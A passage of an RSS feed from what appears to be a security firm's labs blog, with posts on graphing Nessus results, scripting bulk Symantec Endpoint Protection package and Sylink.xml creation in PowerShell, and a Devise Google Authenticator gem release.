&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tools/<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tableviewer/<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;img/<br />
</code></p>
<p>Executed from within the &#8220;tableviewer&#8221; folder, the following should create a file called &#8220;prenus.png&#8221; in the &#8220;img&#8221; folder.</p>
<p><code>$ prenus -t circos ~/prenus/*.nessus | bin/parse-table -conf samples/parse-table-01.conf | bin/make-conf -dir data<br />
$ ../../../circos-0.62-1/bin/circos -conf etc/circos.conf -outputfile prenus</code></p>
<div id="attachment_202" class="wp-caption alignnone" style="width: 310px"><a href="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenuscircos01.jpg"><img src="http://labs.asteriskinfosec.com.au/wp-content/uploads/2012/09/prenuscircos01thumb.jpg" alt="Prenus Circos Graph Example" title="Prenus Circos Graph Example" width="300" height="300" class="size-full wp-image-202" /></a><p class="wp-caption-text">Prenus Circos Graph Example</p></div>
<p>Potentially useful for you analysis, or maybe just some prettiness to add to your reports. Any methods or tools that can help dig through stacks of data are pretty useful to us. The above diagram has a few layout issues, so if you want to just analyse your critical severity issues you can include the &#8220;-s 4&#8243; flag to prenus.</p>
<p>I&#8217;ve got an ad-hoc list of enhancements which include:</p>
<ol>
<li>1. Construct an EC2 bootstrap to allow you to deploy this on a throw-away environment so as not having to fight with the damn dependencies like I did</li>
<li>2. Look at using <a href="http://d3js.org/">d3.js</a> for ALL chart generation instead</li>
<li>3. Perhaps just looking at a standalone Rails app for your own deployment (either local, Heroku or whatever)</li>
</ol>
<p>Let me know what you think, or, just grab the code and have a play yourself: <a href="https://github.com/AsteriskLabs/prenus">https://github.com/AsteriskLabs/prenus</a></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/prenus-intro/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Symantec Endpoint Protection: Setup.exe extruder</title>
		<link>http://labs.asteriskinfosec.com.au/sep-setup-exe-extruder/</link>
		<comments>http://labs.asteriskinfosec.com.au/sep-setup-exe-extruder/#comments</comments>
		<pubDate>Fri, 07 Sep 2012 12:08:29 +0000</pubDate>
		<dc:creator>steve</dc:creator>
				<category><![CDATA[Infrastructure Security]]></category>
		<category><![CDATA[Endpoint]]></category>
		<category><![CDATA[SEP]]></category>
		<category><![CDATA[setup]]></category>
		<category><![CDATA[sylink]]></category>
		<category><![CDATA[Symantec]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=130</guid>
		<description><![CDATA[What do you do when you need to create around 40 Symantec Endpoint Protection packages?! I&#8217;m way too impatient to do it manually, and after automating the sylink creation (see previous post), I got the idea of automating the setup.exe creation. Prerequistes: Ok, first thing you will need to do is setup your sylink files:<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/sep-setup-exe-extruder/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>What do you do when you need to create around 40 Symantec Endpoint Protection packages?!  </p>
<p>I&#8217;m way too impatient to do it manually, and after automating the sylink creation (see <a href="http://labs.asteriskinfosec.com.au/sylink-hacking/">previous post</a>), I got the idea of automating the setup.exe creation.  </p>
<p>Prerequistes:<br />
Ok, first thing you will need to do is setup your sylink files: <a href="http://labs.asteriskinfosec.com.au/sylink-hacking/">instructions here</a></p>
<p>You will need <a href="http://www.7-zip.org" title="7-zip" target="_blank">7-zip</a> on your SEPM, this allows us to update the contents of the zip archive.</p>
<p>Export a setup msi directory from your SEPM, do not create a single exe file.<br />
Once you have done this, zip up the output into a regular zip file call input.zip, this will be your $setup_src</p>
<p>Running the Script:<br />
1) put all of your sylink files into a directory structure like this:<br />
<code><br />
Sylink/<br />
&nbsp;&nbsp;domain1/<br />
&nbsp;&nbsp;&nbsp;&nbsp;group1_sylink.xml<br />
&nbsp;&nbsp;&nbsp;&nbsp;group2_sylink.xml<br />
&nbsp;&nbsp;domain2/<br />
&nbsp;&nbsp;&nbsp;&nbsp;group3_sylink.xml<br />
&nbsp;&nbsp;&nbsp;&nbsp;group4_sylink.xml<br />
</code><br />
2) create a domains.txt file in the Sylink/ directory:<br />
<code><br />
domain1<br />
domain2<br />
</code><br />
3) create a groups.txt (or use your previous groups.txt from the sylink creation) and put one in each domain directory (ie: Sylink/domain1/groups.txt).  The groups.txt has a list of each group:<br />
<code><br />
group1<br />
group2<br />
</code><br />
4) find the makesfx.exe: it is on the SEPM, in your SEPM install path: /Symantec Endpoint Protection Manager/tomcat/bin, and copy it to a convenient location.  You will point the script variable $MakeSFX to it.</p>
<p>5) edit the script variables, make sure the paths point to the right places.  Note for $bits and $type, I manually update these depending if im exporting 32 or 64 bit packages and Server or Desktop packages (depending on the SEP features in the package)<br />
<code><br />
$update = @"<br />
C:\"Program Files"\7-Zip\7z.exe u<br />
"@<br />
$delete = @"<br />
C:\"Program Files"\7-Zip\7z.exe d<br />
"@<br />
$MakeSFX = "D:\temp\MakeSFX.exe"<br />
$setup_src = "D:\temp\input.zip"<br />
$setup_dst = "D:\Program Files\Symantec\SEP Agents\bulk\"<br />
$sylink_dir = "D:\Program Files\Symantec\SEP Agents\Sylink\"<br />
$domains_txt = $sylink_dir + "domains.txt"<br />
$bits = "_x32"<br />
$type = "_Desktop"<br />
</code><br />
6) run the script and marvel at how much faster you can extrude out (think sausage factory <img src='http://labs.asteriskinfosec.com.au/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) setup files!</p>
<p>You can pull the scripts from <a href="https://github.com/AsteriskLabs/SEPSylinkSetup">Asterisk Labs Github repository</a></p>
<p>Im pretty sure I have hit the Win inflection on this chart:<br />
<img src="http://i.imgur.com/Q8kV8.png" height="300" width="300" alt="Geeks and repetitive tasks" /></p>
<p>Actually, this script generated about 40 setup exe&#8217;s for me in 20 minutes.  If it takes about 5 minutes to export a setup.exe from the SEP console, Im certain I&#8217;m in front, even with script setup time, and definately with reduction in Repetitive Click Boredom.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/sep-setup-exe-extruder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symantec Endpoint Protection: Sylink.xml hacking to automate SEPM migration</title>
		<link>http://labs.asteriskinfosec.com.au/sylink-hacking/</link>
		<comments>http://labs.asteriskinfosec.com.au/sylink-hacking/#comments</comments>
		<pubDate>Tue, 31 Jul 2012 14:42:55 +0000</pubDate>
		<dc:creator>steve</dc:creator>
				<category><![CDATA[Infrastructure Security]]></category>
		<category><![CDATA[Endpoint]]></category>
		<category><![CDATA[SEP]]></category>
		<category><![CDATA[setup]]></category>
		<category><![CDATA[sylink]]></category>
		<category><![CDATA[Symantec]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=110</guid>
		<description><![CDATA[I have completed a couple of projects recently migrating customers from Symantec Endpoint Protection v11.0 to v12.1, including moving to a new SEP Manager. In these projects, the decision was made to do a fresh install of the SEPM, and move the clients into the new manager, without using replication between the old and new SEPM. The<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/sylink-hacking/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>I have completed a couple of projects recently migrating customers from Symantec Endpoint Protection v11.0 to v12.1, including moving to a new SEP Manager. In these projects, the decision was made to do a fresh install of the SEPM, and move the clients into the new manager, without using replication between the old and new SEPM.</p>
<p>The file on the SEP v11 client called Sylink.xml tells the client which server to connect to, what the server certificate is and which group the client should join on the SEPM (among other things).</p>
<p>There is a tool on the SEP media part 2 in Tools\SylinkDrop.exe which can be used to swap the Sylink.xml file on the SEP client.</p>
<p>During these projects I was looking for a way to simplify the creation of the sylink.xml file, the projects both involved a large number of client groups &#8211; I didnt really want to manually export the communication settings for over 30 groups!</p>
<p>This lead me on a powershell path of discovery, and the realisation that powershell could load an xml file as a data object, manipulate it, and then write it out! This was exactly what I needed.</p>
<p>The process I used to generate the sylink files was:<br />
- Create the group structure in the SEPM<br />
- Create a groups.txt file: this file had a list of SEP client groups per line<br />
- export a sylink.xml file from the destination SEPM: for example, download the communication settings file from the &#8220;My Company&#8221; top<br />
level group.<br />
- run the update_sylink.ps1 powershell script<br />
- deploy the sylink files to the SEP agents with SylinkDrop.exe</p>
<p>The groups.txt file contained lines like:<br />
<code><br />
My Company\Desktops<br />
My Company\Desktops\WA<br />
My Company\Desktops\NSW<br />
My Company\Desktops\NT<br />
My Company\Desktops\QLD<br />
My Company\Desktops\SA<br />
My Company\Desktops\TAS<br />
My Company\Desktops\VIC</code></p>
<p>Note that SEP is case sensitive &#8211; the groups.txt file must match the group names in the SEPM.</p>
<p>When you export the sylink.xml, you will end up with a file that looks like:<br />
<code><br />
&lt;?xml version="1.0" encoding="UTF-8"?&gt;&lt;ServerSettings DomainId="BC7791940DEADBEEF3A86829"&gt;&lt;CommConf&gt;&lt;AgentCommunicationSetting AlwaysConnect="1" CommunicationMode="PULL" DisableDownloadProfile="0" Kcs="18F84DEADBEEF2CF46D" PullHeartbeatSeconds="1800" PushHeartbeatSeconds="300" UploadCmdStateHeartbeatSeconds="300" UploadLearnedApp="0" UploadLogHeartbeatSeconds="300" UploadOpStateHeartbeatSeconds="300"/&gt; &lt;LogSetting MaxLogRecords="100" SendingLogAllowed="1" UploadProcessLog="1" UploadRawLog="1" UploadSecurityLog="1" UploadSystemLog="1" UploadTrafficLog="1"/&gt;<br />
&lt;RegisterClient PreferredGroup="My Company\Workstations (location based)" PreferredMode="1"/&gt; &lt;ServerList FreezeSmsList="0" Name="Default Management Server List"&gt; &lt;ServerPriorityBlock Name="List0"&gt; &lt;Server Address="10.10.10.10" HttpPort="8014" VerifySignatures="1"/&gt; &lt;Server Address="SEPM"<br />
HttpPort="8014" VerifySignatures="1"/&gt; &lt;Server Address="SEPM" HttpPort="8014" VerifySignatures="1"/&gt; &lt;/ServerPriorityBlock&gt; &lt;/ServerList&gt; &lt;ServerCertList&gt;</p>
<p>&lt;Certificate Name="SEPM"&gt;MIICujCCAiOgAwIBAgIQhjuQQqXvBWWzipD7elI3oTANBgkqhkiG9w0BAQUFADB3MXUwCQYDVQQI&amp;#xd;</p>
<p>A4GBAI6RsCE0zyFwDY6rsKeOaGVtEtZNvz5Lbas2b0OYOX53GA7JbeJMWB5OqMZ5EM76PZx/toMZ&amp;#xd;</p>
<p>vUN+ypsPydoiLKd7uMsNWaFGzP4JKJjiJsrhGi3l1pLlR553GxZz2UZ1zbX7knjjiReVLrniIyYd&amp;#xd; CPFkI/DEADBEEF+fnUbxr259h&lt;/Certificate&gt;</p>
<p>&lt;/ServerCertList&gt;</p>
<p>&lt;/CommConf&gt;&lt;/ServerSettings&gt;</code></p>
<p>The powershell script can actually update any token in the xml file, we are just using it to update the PreferredGroup item:<br />
<code><br />
$xml_orig = New-Object XML<br />
$xml_orig.Load("Sylink.xml")</p>
<p>$grps = get-content groups.txt<br />
ForEach ($i in $grps) {<br />
$i<br />
$PreferredGroup = $i.toString()<br />
$xml_new = New-Object XML<br />
$xml_new = $xml_orig</p>
<p>$xml_new.ServerSettings.CommConf.RegisterClient.PreferredGroup = $PreferredGroup</p>
<p>$j = $i.Replace("\", "_")<br />
$filename = $j.Replace(" ", "_")<br />
$xml_new.Save($filename + "_Sylink.xml")<br />
remove-variable xml_new<br />
}</code></p>
<p>The script needs the groups.txt and sylink.xml to be in its currect directory.<br />
The sylink files will be output to the currect directory, with the group name preceding, eg: My_Company_Desktops_WA_Sylink.xml.<br />
All that is left is to run SylinkDrop -s &#8220;target sylink.xml&#8221; on the agents to repoint them to the new SEPM. I have used both Symantec Management Platform (Altiris) to do this, and AD group policy.</p>
<p>You can pull the scripts from <a href="https://github.com/AsteriskLabs/SEPSylinkSetup">Asterisk Labs Github repository</a></p>
<p>I have used this script to save a lot of time generating sylink files for migrations. This also gave me an idea for automating the creation of a large number of setup.exe files for SEP deployments: Stay tuned for more on that!</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/sylink-hacking/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Devise Google Authenticator 0.3.3</title>
		<link>http://labs.asteriskinfosec.com.au/devise-google-authenticator-0-3-3/</link>
		<comments>http://labs.asteriskinfosec.com.au/devise-google-authenticator-0-3-3/#comments</comments>
		<pubDate>Sun, 10 Jun 2012 09:25:00 +0000</pubDate>
		<dc:creator>christian</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[2FA]]></category>
		<category><![CDATA[devise]]></category>
		<category><![CDATA[devise_google_authenticator]]></category>
		<category><![CDATA[gem]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://labs.asteriskinfosec.com.au/?p=98</guid>
		<description><![CDATA[A couple of weeks back, whilst working on some building some internal management apps, I finally got around to implementing the Devise Google Authenticator gem into a rails app outside of its own testing app. During this process I realised that I hadn&#8217;t correctly updated some of the extension&#8217;s code to properly work with the<a class="button_readmore" href="http://labs.asteriskinfosec.com.au/devise-google-authenticator-0-3-3/"> Read more</a>]]></description>
				<content:encoded><![CDATA[<p>A couple of weeks back, whilst working on some building some internal management apps, I finally got around to implementing the <a href="https://github.com/AsteriskLabs/devise_google_authenticator">Devise Google Authenticator</a> gem into a rails app outside of its own testing app. During this process I realised that I hadn&#8217;t correctly updated some of the extension&#8217;s code to properly work with the <a href="https://github.com/plataformatec/devise">Devise</a> 2.0 release, in particular the <a href="https://github.com/plataformatec/devise/wiki/How-To:-Upgrade-to-Devise-2.0-migration-schema-style">changes to the migration schema</a>. A few amendments, a push or two and version 0.3.3 was now available.</p>
<p>Looking back over the process I&#8217;ve certainly learned a lot about Ruby, Rails and Devise, plus the whole Ruby Gems eco-system. What&#8217;s surprising though, is the number of people out there who appear to be using the gem. At a high level the breakdown is as follows:</p>
<ul>
<li><a href="https://rubygems.org/gems/devise_google_authenticator/stats">Gem downloads</a>: 1,317</li>
<li><a href="https://github.com/AsteriskLabs/devise_google_authenticator/watchers">Github watchers</a>: 12</li>
<li><a href="https://github.com/AsteriskLabs/devise_google_authenticator/network">Github forks</a>: 6 (1 of which appears to be very proactive and hopefully we&#8217;ll get some pulls)</li>
</ul>
<p>So far though, we&#8217;ve only had a few queries come in. But, to try and capture them in a more appropriate place I&#8217;ve started a <a href="https://groups.google.com/forum/?fromgroups#!forum/devise-google-authenticator">Google Groups</a> which, if you wish, you can sign up to and post queries. Or, if it&#8217;s easier, just hit us up on twitter: <a href="http://twitter.com/xntrik">@xntrik</a> or <a href="http://twitter.com/asteriskinfosec">@asteriskinfosec</a>.</p>
<p>Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.asteriskinfosec.com.au/devise-google-authenticator-0-3-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
